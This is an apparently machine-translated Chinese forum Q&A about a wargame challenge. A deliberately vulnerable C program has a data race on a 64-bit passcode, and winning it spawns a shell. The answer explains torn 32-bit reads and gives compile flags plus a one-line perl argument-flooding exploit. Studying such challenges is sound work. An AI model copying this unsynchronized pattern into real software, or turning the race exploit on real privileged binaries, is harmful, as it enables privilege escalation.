帮助识别兵棋比赛中的比赛条件

逆向工程 开发 漏洞分析
2021-06-26 13:36:08

过去一周我一直在尝试解决一个兵棋推演——我得到了一个程序,需要找到正确的输入(通常是格式错误的、恶意的或其他)才能让它执行我想要的代码。我一直在努力解决以下问题,想看看这里是否有人有建议或想法可以尝试。代码如下

unsigned long long passcode = 0xbadc0dedecadeull, code = 0, v;
int finished = 0;

void* tryAllCodes(void* ptr) {
    char** codes = (char**) ptr;

    while(*++codes) {
        printf(".");
        v = strtoull(*codes, 0, 16); // v is stored in ebx:ecx
        code = (v != passcode)? v : 0;
    }

    finished = 1;
}


int main(int argc, char** argv) {
    char *args[] = { "/bin/sh", 0};
    pthread_t t;
    pthread_create(&t, NULL, tryAllCodes, argv);

    while(!finished)
        if(code == passcode) { // code is stored in ebx:ecx
            printf("Win!\n");
            execve(*args, args, 0);
        }

    pthread_join(t, NULL);
    return 0;
}

我相信这里存在竞争条件,因为在访问变量代码时没有互斥锁,我已经通过在 tryAllCodes 函数中使用 gdb 设置断点并让主线程继续运行来实现它。我相信这是因为 v 和 code 在检查它们的值时存储在其中的寄存器是相同的,所以如果上下文跳出 tryAllCodes 并且 v 在它被清零之前设置为密码,我会进入 win 块。不幸的是,我需要在不使用调试器的情况下获得相同的行为 - 所以我的问题是我利用竞争条件的方法似乎正确,还是我忽略了其他一些东西?如果是这样,linux 上有没有办法让线程更频繁地执行?我在 tryAllCodes 线程上尝试了 renice,但它似乎只是导致程序在主循环中旋转。

谢谢一堆

1个回答

嗯,如果优化,此代码可能无法工作,因为共享全局变量不是指针,也没有标记为 volatile。这意味着编译器可以自由地假设全局变量仅从一个线程访问,因此很可能

while(!passcode)

将被优化为始终为真,因此导致一个永恒的循环。如果它们打算在线程之间共享,真的应该标记这个 volatile。

我认为你是对的,他们希望你在这里利用竞争条件。最关键的是要认识到,读取代码发生在两条指令在主线程和写入代码在产生的线程两个指令发生由于这是一个64位的变量。所以你想要做的是像这样打它:

  • 生成的线程编写代码的两个 32 位部分低 32 位等于密码的低 32 位,而高不等于
  • 然后主线程将代码的低 32 位部分读入寄存器。
  • 生成的线程抢占(仅仅是因为处理器是多核的),写入代码的两个 32 位部分密码的低 32 位不等于密码的低 32 位,而高是。
  • 然后主线程将代码的高 32 位部分读入寄存器。
  • 这意味着主线程将在其寄存器中拥有密码的 64 位值,而该值不是衍生线程写入的值。

为了做到这一点,您需要一个非常长的参数列表,其中包含可以发生这种情况的值。可能会为处理器时间生成一些竞争进程,以最大限度地抢占。

低位和高位的正确顺序取决于线程正在运行的机器代码的细节。您可能知道,因为我假设您可以访问二进制文件。

两个加载和存储指令也可能彼此非常接近,因此事件的确切顺序是否可能发生将非常依赖于 CPU 架构。由于超标量,指令可能被视为独立的并在两个不同的管道上调度这当然取决于 CPU 如何调度加载和存储..

这个问题在多核系统上似乎更容易利用,因为您不必依赖于超准确的抢占。在运行 32 位进程的 64 位操作系统上利用它也可能更难。

所有这一切都无关紧要,因为最后你真正能做的就是向它抛出大量争论,并尽我所能祈祷。

剧透

因为我有点好奇在什么条件下可以可靠地利用它,所以我不得不测试一些东西。如果你也在做同样的事情,这里是固定源和漏洞利用。这应该允许您进行一些本地实验。就像我预期的那样,在正确的时刻触发上下文切换的可能性很小,因此在单核 CPU 上这是一场噩梦。在多核 CPU 上,两个线程并行旋转,因此更有可能达到正确的条件。

代码

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <unistd.h>

volatile unsigned long long passcode = 0xbadc0dedecadeull;
volatile unsigned long long code = 0;
volatile unsigned long long v;
volatile int finished = 0;

void* tryAllCodes(void* ptr) {
    char** codes = (char**) ptr;

    while(*++codes) {
        printf(".");
        v = strtoull(*codes, 0, 16); // v is stored in ebx:ecx
        code = (v != passcode)? v : 0;
    }

    finished = 1;
    return 0;
}

int main(int argc, char** argv) {
    char *args[] = { "/bin/sh", 0};
    pthread_t t;
    pthread_create(&t, NULL, tryAllCodes, argv);

    while(!finished)
        if(code == passcode) { // code is stored in ebx:ecx
            printf("Win!\n");
            execve(*args, args, 0);
        }

    pthread_join(t, NULL);
    return 0;
}

编译

gcc -std=c99 -Wall -Wpedantic -pthread -m32 -O2 -o race race.c

利用

./race `perl -e "print 'dedecade badc000000000 'x90870"`